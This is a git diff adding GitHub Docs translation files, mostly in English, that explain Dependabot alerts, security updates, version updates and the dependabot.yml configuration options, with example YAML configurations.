+In cases where a patched version is not available, or you can’t update to the secure version, {% data variables.product.prodname_dependabot %} shares additional information to help you determine next steps. When you click through to view a {% data variables.product.prodname_dependabot %} alert, you can see the full details of the security advisory for the dependency including the affected functions. You can then check whether your code calls the impacted functions. This information can help you further assess your risk level, and determine workarounds or if you’re able to accept the risk represented by the security advisory.
+
+{% ifversion dependabot-alerts-vulnerable-calls %}
+
+For supported languages, {% data variables.product.prodname_dependabot %} detects calls to vulnerable functions for you. When you view an alert labeled as "Vulnerable call", the details include the name of the function and a link to the code that calls it. Often you will be able to take decisions based on this information, without exploring further.
+
+{% endif %}
+
+### Fixing vulnerable dependencies
+
+1. View the details for an alert. For more information, see "[Viewing {% data variables.product.prodname_dependabot_alerts %}](#viewing-dependabot-alerts)" (above).
+{% ifversion fpt or ghec or ghes %}
+1. If you have {% data variables.product.prodname_dependabot_security_updates %} enabled, there may be a link to a pull request that will fix the dependency. Alternatively, you can click **Create {% data variables.product.prodname_dependabot %} security update** at the top of the alert details page to create a pull request.
+  ![Create {% data variables.product.prodname_dependabot %} security update button](/assets/images/help/repository/create-dependabot-security-update-button-ungrouped.png)
+1. Optionally, if you do not use {% data variables.product.prodname_dependabot_security_updates %}, you can use the information on the page to decide which version of the dependency to upgrade to and create a pull request to update the dependency to a secure version.
+{% elsif ghae %}
+1. You can use the information on the page to decide which version of the dependency to upgrade to and create a pull request to the manifest or lock file to a secure version.
+{% endif %}
+1. When you're ready to update your dependency and resolve the vulnerability, merge the pull request. 
+
+{% ifversion fpt or ghec or ghes %}
+   Each pull request raised by {% data variables.product.prodname_dependabot %} includes information on commands you can use to control {% data variables.product.prodname_dependabot %}. For more information, see "[Managing pull requests for dependency updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-pull-requests-for-dependency-updates#managing-dependabot-pull-requests-with-comment-commands)."
+{% endif %}
+
+## Dismissing {% data variables.product.prodname_dependabot_alerts %}
+
+{% tip %}
+
+**Tip:** You can only dismiss open alerts.
+{% endtip %}
+
+If you schedule extensive work to upgrade a dependency, or decide that an alert does not need to be fixed, you can dismiss the alert. Dismissing alerts that you have already assessed makes it easier to triage new alerts as they appear.
+
+1. View the details for an alert. For more information, see "[Viewing vulnerable dependencies](#viewing-dependabot-alerts)" (above).
+1. Select the "Dismiss" dropdown, and click a reason for dismissing the alert.{% ifversion reopen-dependabot-alerts %} Unfixed dismissed alerts can be reopened later.{% endif %}
+{% ifversion dependabot-alerts-dismissal-comment %}1. Optionally, add a dismissal comment. The dismissal comment will be added to the alert timeline and can be used as justification during auditing and reporting. You can retrieve or set a comment by using the GraphQL API. The comment is contained in the `dismissComment` field. For more information, see "[{% data variables.product.prodname_dependabot_alerts %}](/graphql/reference/objects#repositoryvulnerabilityalert)" in the GraphQL API documentation.
+   ![Screenshot showing how to dismiss an alert via the "Dismiss" drop-down, with the option to add a dismissal comment](/assets/images/help/repository/dependabot-alerts-dismissal-comment.png)
+1. Click **Dismiss alert**.
+{% else %}
+   ![Choosing reason for dismissing the alert via the "Dismiss" drop-down](/assets/images/help/repository/dependabot-alert-dismiss-drop-down-ungrouped.png){% endif %}
+{% ifversion dependabot-bulk-alerts %}
+
+### Dismissing multiple alerts at once
+
+1. View the open {% data variables.product.prodname_dependabot_alerts %}. For more information, see "[Viewing {% data variables.product.prodname_dependabot_alerts %}](/en/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts#viewing-dependabot-alerts)".
+2. Optionally, filter the list of alerts by selecting a dropdown menu, then clicking the filter that you would like to apply. You can also type filters into the search bar.
+3. To the left of each alert title, select the alerts that you want to dismiss.
+   ![Screenshot of open alerts with checkboxes emphasized](/assets/images/help/graphs/select-multiple-alerts.png)
+4. Optionally, at the top of the list of alerts, select all alerts on the page.
+   ![Screenshot of all open alerts selected](/assets/images/help/graphs/select-all-alerts.png)
+5. Select the "Dismiss alerts" dropdown, and click a reason for dismissing the alerts.
+   ![Screenshot of open alerts page with "Dismiss alerts" drop-down emphasized](/assets/images/help/graphs/dismiss-multiple-alerts.png)
+
+{% endif %}
+
+{% ifversion reopen-dependabot-alerts %}
+
+## Viewing and updating closed alerts
+
+You can view all open alerts, and you can reopen alerts that have been previously dismissed. Closed alerts that have already been fixed cannot be reopened.
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-security %}
+{% data reusables.repositories.sidebar-dependabot-alerts %}
+1. To just view closed alerts, click **Closed**.
+
+   {%- ifversion dependabot-bulk-alerts %}
+   ![Screenshot showing the "Closed" option](/assets/images/help/repository/dependabot-alerts-closed-checkbox.png)
+   {%- else %}
+   ![Screenshot showing the "Closed" option](/assets/images/help/repository/dependabot-alerts-closed.png)
+   {%- endif %}
+1. Click the alert that you would like to view or update.
+
+   {%- ifversion dependabot-bulk-alerts %}
+   ![Screenshot showing a highlighted dependabot alert](/assets/images/help/repository/dependabot-alerts-select-closed-alert-checkbox.png)
+   {%- else %}
+   ![Screenshot showing a highlighted dependabot alert](/assets/images/help/repository/dependabot-alerts-select-closed-alert.png)   {%- endif %}
+2. Optionally, if the alert was dismissed and you wish to reopen it, click **Reopen**. Alerts that have already been fixed cannot be reopened.
+
+   {% indented_data_reference reusables.enterprise.3-5-missing-feature spaces=3 %}
+   ![Screenshot showing the "Reopen" button](/assets/images/help/repository/reopen-dismissed-alert.png)
+
+{% endif %}
+
+{% ifversion dependabot-bulk-alerts %}
+
+### Reopening multiple alerts at once
+
+1. View the closed {% data variables.product.prodname_dependabot_alerts %}. For more information, see "[Viewing and updating closed alerts](/en/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts#viewing-and-updating-closed-alerts)" (above).
+2. To the left of each alert title, select the alerts that you want to reopen.
+   ![Screenshot of closed alerts with checkboxes emphasized](/assets/images/help/repository/dependabot-alerts-open-checkbox.png)
+3. Optionally, at the top of the list of alerts, select all closed alerts on the page.
+   ![Screenshot of closed alerts with all alerts selected](/assets/images/help/graphs/select-all-closed-alerts.png)
+4. Click **Reopen** to reopen the alerts. Alerts that have already been fixed cannot be reopened.
+   ![Screenshot of closed alerts with "Reopen" button emphasized](/assets/images/help/graphs/reopen-multiple-alerts.png)
+
+{% endif %}
diff --git a/translations/de-DE/content/code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates.md b/translations/de-DE/content/code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates.md
new file mode 100644
index 0000000000..1885e6d052
--- /dev/null
+++ b/translations/de-DE/content/code-security/dependabot/dependabot-security-updates/about-dependabot-security-updates.md
@@ -0,0 +1,71 @@
+---
+title: About Dependabot security updates
+intro: '{% data variables.product.prodname_dependabot %} can fix vulnerable dependencies for you by raising pull requests with security updates.'
+shortTitle: Dependabot security updates
+redirect_from:
+  - /github/managing-security-vulnerabilities/about-github-dependabot-security-updates
+  - /github/managing-security-vulnerabilities/about-dependabot-security-updates
+  - /code-security/supply-chain-security/about-dependabot-security-updates
+  - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '> 3.2'
+type: overview
+topics:
+  - Dependabot
+  - Security updates
+  - Vulnerabilities
+  - Repositories
+  - Dependencies
+  - Pull requests
+---
+
+<!--Marketing-LINK: From /features/security/software-supply-chain page "About Dependabot security updates".-->
+
+{% data reusables.dependabot.beta-security-and-version-updates %}
+{% data reusables.dependabot.enterprise-enable-dependabot %}
+
+## About {% data variables.product.prodname_dependabot_security_updates %}
+
+{% data variables.product.prodname_dependabot_security_updates %} make it easier for you to fix vulnerable dependencies in your repository. If you enable this feature, when a {% data variables.product.prodname_dependabot %} alert is raised for a vulnerable dependency in the dependency graph of your repository, {% data variables.product.prodname_dependabot %} automatically tries to fix it. For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)" and "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/configuring-dependabot-security-updates)."
+
+{% data variables.product.prodname_dotcom %} may send  {% data variables.product.prodname_dependabot_alerts %} to repositories affected by a vulnerability disclosed by a recently published {% data variables.product.prodname_dotcom %} security advisory. {% data reusables.security-advisory.link-browsing-advisory-db %}
+
+{% data variables.product.prodname_dependabot %} checks whether it's possible to upgrade the vulnerable dependency to a fixed version without disrupting the dependency graph for the repository. Then {% data variables.product.prodname_dependabot %} raises a pull request to update the dependency to the minimum version that includes the patch and links the pull request to the {% data variables.product.prodname_dependabot %} alert, or reports an error on the alert. For more information, see "[Troubleshooting {% data variables.product.prodname_dependabot %} errors](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)."
+
+The {% data variables.product.prodname_dependabot_security_updates %} feature is available for repositories where you have enabled the dependency graph and {% data variables.product.prodname_dependabot_alerts %}. You will see a {% data variables.product.prodname_dependabot %} alert for every vulnerable dependency identified in your full dependency graph. However, security updates are triggered only for dependencies that are specified in a manifest or lock file. For more information, see "[About the dependency graph](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#dependencies-included)."
+
+{% ifversion dependabot-security-updates-unlock-transitive-dependencies %} 
+
+{% note %}
+
+**Note**: For npm, {% data variables.product.prodname_dependabot %} will raise a pull request to update an explicitly defined dependency to a secure version, even if it means updating the parent dependency or dependencies{% ifversion dependabot-security-updates-npm %}, or even removing a sub-dependency that is no longer needed by the parent{% endif %}. For other ecosystems, {% data variables.product.prodname_dependabot %} is unable to update an indirect or transitive dependency if it would also require an update to the parent dependency. For more information, see "[Dependabot tries to update dependencies without an alert](/en/code-security/dependabot/working-with-dependabot/troubleshooting-dependabot-errors#dependabot-tries-to-update-dependencies-without-an-alert)."
+
+{% endnote %}{% endif %} 
+
+You can enable a related feature, {% data variables.product.prodname_dependabot_version_updates %}, so that {% data variables.product.prodname_dependabot %} raises pull requests to update the manifest to the latest version of the dependency, whenever it detects an outdated dependency. For more information, see "[About {% data variables.product.prodname_dependabot %} version updates](/github/administering-a-repository/about-dependabot-version-updates)."
+
+{% data reusables.dependabot.pull-request-security-vs-version-updates %}
+
+{% data reusables.dependabot.dependabot-updates-and-actions %}
+
+## About pull requests for security updates
+
+Each pull request contains everything you need to quickly and safely review and merge a proposed fix into your project. This includes information about the vulnerability like release notes, changelog entries, and commit details. Details of which vulnerability a pull request resolves are hidden from anyone who does not have access to {% data variables.product.prodname_dependabot_alerts %} for the repository.
+
+When you merge a pull request that contains a security update, the corresponding {% data variables.product.prodname_dependabot %} alert is marked as resolved for your repository. For more information about {% data variables.product.prodname_dependabot %} pull requests, see "[Managing pull requests for dependency updates](/github/administering-a-repository/managing-pull-requests-for-dependency-updates)."
+
+{% data reusables.dependabot.automated-tests-note %}
+
+{% ifversion fpt or ghec %}
+
+## About compatibility scores
+
+{% data variables.product.prodname_dependabot_security_updates %} may include compatibility scores to let you know whether updating a dependency could cause breaking changes to your project. These are calculated from CI tests in other public repositories where the same security update has been generated. An update's compatibility score is the percentage of CI runs that passed when updating between specific versions of the dependency.
+
+{% endif %}
+
+## About notifications for {% data variables.product.prodname_dependabot %} security updates
+
+You can filter your notifications on {% data variables.product.company_short %} to show {% data variables.product.prodname_dependabot %} security updates. For more information, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox#dependabot-custom-filters)."
diff --git a/translations/de-DE/content/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates.md b/translations/de-DE/content/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates.md
new file mode 100644
index 0000000000..0e0910c214
--- /dev/null
+++ b/translations/de-DE/content/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates.md
@@ -0,0 +1,92 @@
+---
+title: Configuring Dependabot security updates
+intro: 'You can use {% data variables.product.prodname_dependabot_security_updates %} or manual pull requests to easily update vulnerable dependencies.'
+shortTitle: Configure security updates
+redirect_from:
+  - /articles/configuring-automated-security-fixes
+  - /github/managing-security-vulnerabilities/configuring-automated-security-fixes
+  - /github/managing-security-vulnerabilities/configuring-automated-security-updates
+  - /github/managing-security-vulnerabilities/configuring-github-dependabot-security-updates
+  - /github/managing-security-vulnerabilities/configuring-dependabot-security-updates
+  - /code-security/supply-chain-security/configuring-dependabot-security-updates
+  - /code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+type: how_to
+topics:
+  - Dependabot
+  - Security updates
+  - Alerts
+  - Dependencies
+  - Pull requests
+  - Repositories
+---
+<!--Marketing-LINK: From home page "Learn more about Dependabot".-->
+
+{% data reusables.dependabot.beta-security-and-version-updates %}
+{% data reusables.dependabot.enterprise-enable-dependabot %}
+
+## About configuring {% data variables.product.prodname_dependabot_security_updates %}
+
+You can enable {% data variables.product.prodname_dependabot_security_updates %} at the repository level or for all repositories owned by your personal account or organization. You can enable {% data variables.product.prodname_dependabot_security_updates %} for any repository that uses {% data variables.product.prodname_dependabot_alerts %} and the dependency graph. For more information, see "[About {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)."
+
+You can disable {% data variables.product.prodname_dependabot_security_updates %} for an individual repository or for all repositories owned by your personal account or organization.
+
+{% ifversion fpt or ghec %}{% data reusables.dependabot.dependabot-tos %}{% endif %}
+
+## Supported repositories
+
+{% data variables.product.prodname_dotcom %} automatically enables {% data variables.product.prodname_dependabot_security_updates %} for newly created repositories if your personal account or organization has enabled **Automatically enable for new repositories** for {% data variables.product.prodname_dependabot_security_updates %}. For more information, see "[Managing {% data variables.product.prodname_dependabot_security_updates %} for your repositories](#managing-dependabot-security-updates-for-your-repositories)." 
+
+If you create a fork of a repository that has security updates enabled, {% data variables.product.prodname_dotcom %} will automatically disable {% data variables.product.prodname_dependabot_security_updates %} for the fork. You can then decide whether to enable {% data variables.product.prodname_dependabot_security_updates %} on the specific fork.
+
+If security updates are not enabled for your repository and you don't know why, first try enabling them using the instructions given in the procedural sections below. If security updates are still not working, you can contact {% data variables.contact.contact_support %}.
+
+## Managing {% data variables.product.prodname_dependabot_security_updates %} for your repositories
+
+You can enable or disable {% data variables.product.prodname_dependabot_security_updates %} for all qualifying repositories owned by your personal account or organization. For more information, see "[Managing security and analysis settings for your personal account](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-security-and-analysis-settings-for-your-personal-account)" or "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." 
+
+You can also enable or disable {% data variables.product.prodname_dependabot_security_updates %} for an individual repository.
+
+### Enabling or disabling {% data variables.product.prodname_dependabot_security_updates %} for an individual repository
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.repositories.navigate-to-code-security-and-analysis %}
+1. Under "Code security and analysis", to the right of "{% data variables.product.prodname_dependabot %} security updates", click **Enable** to enable the feature or **Disable** to disable it. {% ifversion fpt or ghec %}For public repositories, the button is disabled if the feature is always enabled.{% endif %}
+  {% ifversion fpt or ghec %}![Screenshot of "Code security and analysis" section with button to enable {% data variables.product.prodname_dependabot_security_updates %}](/assets/images/help/repository/security-and-analysis-disable-or-enable-fpt-private.png){% elsif ghes > 3.6 or ghae > 3.6 %}<!--Insert screenshot for GHES 3.7 when available--> {% else %}![Screenshot of "Code security and analysis" section with button to enable {% data variables.product.prodname_dependabot_security_updates %}](/assets/images/enterprise/3.3/repository/security-and-analysis-disable-or-enable-ghes.png){% endif %}
+
+## Overriding the default behavior with a configuration file
+
+You can override the default behavior of {% data variables.product.prodname_dependabot_security_updates %} by adding a dependabot.yml file to your repository. For more information, see "[Configuration options for the dependabot.yml file](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file)." 
+
+If you only require security updates and want to exclude version updates, you can set `open-pull-request-limit` to `0` in order to prevent version updates for a given `package-ecosystem`. For more information, see "[`open-pull-request-limit`](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#open-pull-requests-limit)."
+
+```
+# Example configuration file that:
+#  - Ignores lodash dependency
+#  - Disables version-updates
+
+version: 2
+updates:
+  - package-ecosystem: "npm"
+    directory: "/"
+    schedule:
+      interval: "daily"
+    ignore:
+      - dependency-name: "lodash"
+        # For Lodash, ignore all updates
+    # Disable version updates for npm dependencies
+    open-pull-requests-limit: 0
+```
+
+For more information about the configuration options available for security updates, see the table in "[Configuration options for the dependabot.yml file](/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file#configuration-options-for-the-dependabotyml-file)."
+
+## Further reading
+
+- "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)"
+- "[Configuring {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/configuring-dependabot-alerts)"{% ifversion fpt or ghec %}
+- "[Managing data use settings for your private repository](/get-started/privacy-on-github/managing-data-use-settings-for-your-private-repository)"{% endif %}
+- "[Supported package ecosystems](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#supported-package-ecosystems)"
diff --git a/translations/de-DE/content/code-security/dependabot/dependabot-security-updates/index.md b/translations/de-DE/content/code-security/dependabot/dependabot-security-updates/index.md
new file mode 100644
index 0000000000..ccb17b61a4
--- /dev/null
+++ b/translations/de-DE/content/code-security/dependabot/dependabot-security-updates/index.md
@@ -0,0 +1,26 @@
+---
+title: Automatisches Aktualisieren von Abhängigkeiten bei bekannten Sicherheitsrisiken im Zusammenhang mit Dependabot-Sicherheitsupdates
+intro: '{% data variables.product.prodname_dependabot %} kann dir dabei helfen, anfällige Abhängigkeiten zu beheben, indem automatisch Pull Requests ausgelöst werden, um die Abhängigkeiten auf sichere Versionen zu aktualisieren.'
+allowTitleToDifferFromFilename: true
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+topics:
+  - Repositories
+  - Dependabot
+  - Security updates
+  - Dependencies
+  - Pull requests
+shortTitle: Dependabot security updates
+children:
+  - /about-dependabot-security-updates
+  - /configuring-dependabot-security-updates
+ms.openlocfilehash: e18b6331f762a81b82c759de5fdbc6eeed300308
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148108350'
+---
+
diff --git a/translations/de-DE/content/code-security/dependabot/dependabot-version-updates/about-dependabot-version-updates.md b/translations/de-DE/content/code-security/dependabot/dependabot-version-updates/about-dependabot-version-updates.md
new file mode 100644
index 0000000000..7620498058
--- /dev/null
+++ b/translations/de-DE/content/code-security/dependabot/dependabot-version-updates/about-dependabot-version-updates.md
@@ -0,0 +1,71 @@
+---
+title: About Dependabot version updates
+intro: 'You can use {% data variables.product.prodname_dependabot %} to keep the packages you use updated to the latest versions.'
+redirect_from:
+  - /github/administering-a-repository/about-dependabot
+  - /github/administering-a-repository/about-github-dependabot
+  - /github/administering-a-repository/about-github-dependabot-version-updates
+  - /github/administering-a-repository/about-dependabot-version-updates
+  - /code-security/supply-chain-security/about-dependabot-version-updates
+  - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/upgrading-from-dependabotcom-to-github-native-dependabot
+  - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/about-dependabot-version-updates
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '> 3.2'
+type: overview
+topics:
+  - Dependabot
+  - Version updates
+  - Repositories
+  - Dependencies
+  - Pull requests
+shortTitle: Dependabot version updates
+---
+
+{% data reusables.dependabot.beta-security-and-version-updates %}
+{% data reusables.dependabot.enterprise-enable-dependabot %}
+
+## About {% data variables.product.prodname_dependabot_version_updates %}
+
+{% data variables.product.prodname_dependabot %} takes the effort out of maintaining your dependencies. You can use it to ensure that your repository automatically keeps up with the latest releases of the packages and applications it depends on.
+
+You enable {% data variables.product.prodname_dependabot_version_updates %} by checking a `dependabot.yml` configuration file into your repository. The configuration file specifies the location of the manifest, or of other package definition files, stored in your repository. {% data variables.product.prodname_dependabot %} uses this information to check for outdated packages and applications. {% data variables.product.prodname_dependabot %} determines if there is a new version of a dependency by looking at the semantic versioning ([semver](https://semver.org/)) of the dependency to decide whether it should update to that version. For certain package managers, {% data variables.product.prodname_dependabot_version_updates %} also supports vendoring. Vendored (or cached) dependencies are dependencies that are checked in to a specific directory in a repository rather than referenced in a manifest. Vendored dependencies are available at build time even if package servers are unavailable. {% data variables.product.prodname_dependabot_version_updates %} can be configured to check vendored dependencies for new versions and update them if necessary. 
+
+When {% data variables.product.prodname_dependabot %} identifies an outdated dependency, it raises a pull request to update the manifest to the latest version of the dependency. For vendored dependencies, {% data variables.product.prodname_dependabot %} raises a pull request to replace the outdated dependency with the new version directly. You check that your tests pass, review the changelog and release notes included in the pull request summary, and then merge it. For more information, see "[Configuring {% data variables.product.prodname_dependabot %} version updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates)."
+
+If you enable _security updates_, {% data variables.product.prodname_dependabot %} also raises pull requests to update vulnerable dependencies. For more information, see "[About {% data variables.product.prodname_dependabot_security_updates %}](/github/managing-security-vulnerabilities/about-dependabot-security-updates)."
+
+{% data reusables.dependabot.pull-request-security-vs-version-updates %}
+
+{% data reusables.dependabot.dependabot-updates-and-actions %}
+
+{% data reusables.dependabot.dependabot-tos %}
+
+## Frequency of {% data variables.product.prodname_dependabot %} pull requests
+
+You specify how often to check each ecosystem for new versions in the configuration file: daily, weekly, or monthly.
+
+{% data reusables.dependabot.initial-updates %}
+
+If you've enabled security updates, you'll sometimes see extra pull requests for security updates. These are triggered by a {% data variables.product.prodname_dependabot %} alert for a dependency on your default branch. {% data variables.product.prodname_dependabot %} automatically raises a pull request to update the vulnerable dependency.
+
+## Supported repositories and ecosystems
+<!-- If you make changes to this feature, check whether any of the changes affect languages listed in /get-started/learning-about-github/github-language-support. If so, please update the language support article accordingly. -->
+
+You can configure version updates for repositories that contain a dependency manifest or lock file for one of the supported package managers. For some package managers, you can also configure vendoring for dependencies. For more information, see "[Configuration options for the dependabot.yml file](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/configuration-options-for-dependency-updates#vendor)."
+{% note %}
+
+{% data reusables.dependabot.private-dependencies-note %} 
+
+{% data variables.product.prodname_dependabot %} doesn't support private {% data variables.product.prodname_dotcom %} dependencies for all package managers. See the details in the table below.
+
+{% endnote %}
+
+{% data reusables.dependabot.supported-package-managers %}
+
+If your repository already uses an integration for dependency management, you will need to disable this before enabling {% data variables.product.prodname_dependabot %}. {% ifversion fpt or ghec %}For more information, see "[About integrations](/github/customizing-your-github-workflow/about-integrations)."{% endif %}
+
+## About notifications for {% data variables.product.prodname_dependabot %} version updates
+
+You can filter your notifications on {% data variables.product.company_short %} to show notifications for pull requests created by {% data variables.product.prodname_dependabot %}. For more information, see "[Managing notifications from your inbox](/github/managing-subscriptions-and-notifications-on-github/managing-notifications-from-your-inbox)."
diff --git a/translations/de-DE/content/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file.md b/translations/de-DE/content/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file.md
new file mode 100644
index 0000000000..eaefe0047a
--- /dev/null
+++ b/translations/de-DE/content/code-security/dependabot/dependabot-version-updates/configuration-options-for-the-dependabot.yml-file.md
@@ -0,0 +1,1000 @@
+---
+title: Configuration options for the dependabot.yml file
+intro: 'Detailed information for all the options you can use to customize how {% data variables.product.prodname_dependabot %} maintains your repositories.'
+permissions: 'People with write permissions to a repository can configure {% data variables.product.prodname_dependabot %} for the repository.'
+allowTitleToDifferFromFilename: true
+redirect_from:
+  - /github/administering-a-repository/configuration-options-for-dependency-updates
+  - /code-security/supply-chain-security/configuration-options-for-dependency-updates
+  - /code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/configuration-options-for-dependency-updates
+miniTocMaxHeadingLevel: 3
+versions:
+  fpt: '*'
+  ghec: '*'
+  ghes: '*'
+type: reference
+topics:
+  - Dependabot
+  - Version updates
+  - Repositories
+  - Dependencies
+  - Pull requests
+shortTitle: Configure dependabot.yml
+---
+
+{% data reusables.dependabot.beta-security-and-version-updates %}
+{% data reusables.dependabot.enterprise-enable-dependabot %}
+
+## About the *dependabot.yml* file
+
+The {% data variables.product.prodname_dependabot %} configuration file, *dependabot.yml*, uses YAML syntax. If you're new to YAML and want to learn more, see "[Learn YAML in five minutes](https://www.codeproject.com/Articles/1214409/Learn-YAML-in-five-minutes)."
+
+You must store this file in the `.github` directory of your repository. When you add or update the *dependabot.yml* file, this triggers an immediate check for version updates. For more information and an example, see "[Configuring {% data variables.product.prodname_dependabot %} version updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/enabling-and-disabling-dependabot-version-updates#enabling-dependabot-version-updates)."
+
+Any options that also affect security updates are used the next time a security alert triggers a pull request for a security update.  For more information, see "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates)."
+
+{% note %}
+
+**Note:** You cannot configure {% data variables.product.prodname_dependabot_alerts %} using the *dependabot.yml* file.
+
+{% endnote %}
+
+The *dependabot.yml* file has two mandatory top-level keys: `version`, and `updates`. You can, optionally, include a top-level `registries` key{% ifversion ghes = 3.5 %} and/or a `enable-beta-ecosystems` key{% endif %}. The file must start with `version: 2`.
+
+## Configuration options for the *dependabot.yml* file
+
+The top-level `updates` key is mandatory. You use it to configure how {% data variables.product.prodname_dependabot %} updates the versions or your project's dependencies. Each entry configures the update settings for a particular package manager. You can use the following options.
+
+{% data reusables.dependabot.configuration-options %}
+
+These options fit broadly into the following categories.
+
+- Essential set up options that you must include in all configurations: [`package-ecosystem`](#package-ecosystem), [`directory`](#directory),[`schedule.interval`](#scheduleinterval).
+- Options to customize the update schedule: [`schedule.time`](#scheduletime), [`schedule.timezone`](#scheduletimezone), [`schedule.day`](#scheduleday).
+- Options to control which dependencies are updated: [`allow`](#allow), [`ignore`](#ignore), [`vendor`](#vendor).
+- Options to add metadata to pull requests: [`reviewers`](#reviewers), [`assignees`](#assignees), [`labels`](#labels), [`milestone`](#milestone).
+- Options to change the behavior of the pull requests: [`target-branch`](#target-branch), [`versioning-strategy`](#versioning-strategy), [`commit-message`](#commit-message), [`rebase-strategy`](#rebase-strategy), [`pull-request-branch-name.separator`](#pull-request-branch-nameseparator).
+
+In addition, the [`open-pull-requests-limit`](#open-pull-requests-limit) option changes the maximum number of pull requests for version updates that {% data variables.product.prodname_dependabot %} can open.
+
+{% note %}
+
+**Note:** Some of these configuration options may also affect pull requests raised for security updates of vulnerable package manifests.
+
+Security updates are raised for vulnerable package manifests only on the default branch. When configuration options are set for the same branch (true unless you use `target-branch`), and specify a `package-ecosystem` and `directory` for the vulnerable manifest, then pull requests for security updates use relevant options.
+
+In general, security updates use any configuration options that affect pull requests, for example, adding metadata or changing their behavior. For more information about security updates, see "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates)."
+
+{% endnote %}
+
+### `package-ecosystem`
+
+**Required**. You add one `package-ecosystem` element for each package manager that you want {% data variables.product.prodname_dependabot %} to monitor for new versions. The repository must also contain a dependency manifest or lock file for each of these package managers. If you want to enable vendoring for a package manager that supports it, the vendored dependencies must be located in the required directory. For more information, see [`vendor`](#vendor) below.
+
+{% data reusables.dependabot.supported-package-managers %}
+
+```yaml
+# Basic set up for three package managers
+
+version: 2
+updates:
+
+  # Maintain dependencies for GitHub Actions
+  - package-ecosystem: "github-actions"
+    directory: "/"
+    schedule:
+      interval: "weekly"
+
+  # Maintain dependencies for npm
+  - package-ecosystem: "npm"
+    directory: "/"
+    schedule:
+      interval: "weekly"
+
+  # Maintain dependencies for Composer
+  - package-ecosystem: "composer"
+    directory: "/"
+    schedule:
+      interval: "weekly"
+```
+
+### `directory`
+
+**Required**. You must define the location of the package manifests for each package manager (for example, the *package.json* or *Gemfile*). You define the directory relative to the root of the repository for all ecosystems except GitHub Actions. For GitHub Actions, set the directory to `/` to check for workflow files in `.github/workflows`.
+
+```yaml
+# Specify location of manifest files for each package manager
+
+version: 2
+updates:
+  - package-ecosystem: "composer"
+    # Files stored in repository root
+    directory: "/"
+    schedule:
+      interval: "weekly"
+
+  - package-ecosystem: "npm"
+    # Files stored in `app` directory
+    directory: "/app"
+    schedule:
+      interval: "weekly"
+
+  - package-ecosystem: "github-actions"
+    # Workflow files stored in the
+    # default location of `.github/workflows`
+    directory: "/"
+    schedule:
+      interval: "weekly"
+```
+
+### `schedule.interval`
+
+**Required**. You must define how often to check for new versions for each package manager. By default, {% data variables.product.prodname_dependabot %} randomly assigns a time to apply all the updates in the configuration file. To set a specific time, you can use [`schedule.time`](#scheduletime) and [`schedule.timezone`](#scheduletimezone).
+
+| Interval types | Frequency |
+|----------------|-----------|
+| `daily` | Runs on every weekday, Monday to Friday.|
+| `weekly`| Runs once each week. By default, this is on Monday. To modify this, use [`schedule.day`](#scheduleday).|
+| `monthly` | Runs once each month. This is on the first day of the month. |
+
+```yaml
+# Set update schedule for each package manager
+
+version: 2
+updates:
+
+  - package-ecosystem: "github-actions"
+    directory: "/"
+    schedule:
+      # Check for updates to GitHub Actions every weekday
+      interval: "daily"
+
+  - package-ecosystem: "composer"
+    directory: "/"
+    schedule:
+      # Check for updates managed by Composer once a week
+      interval: "weekly"
+```
+
+{% note %}
+
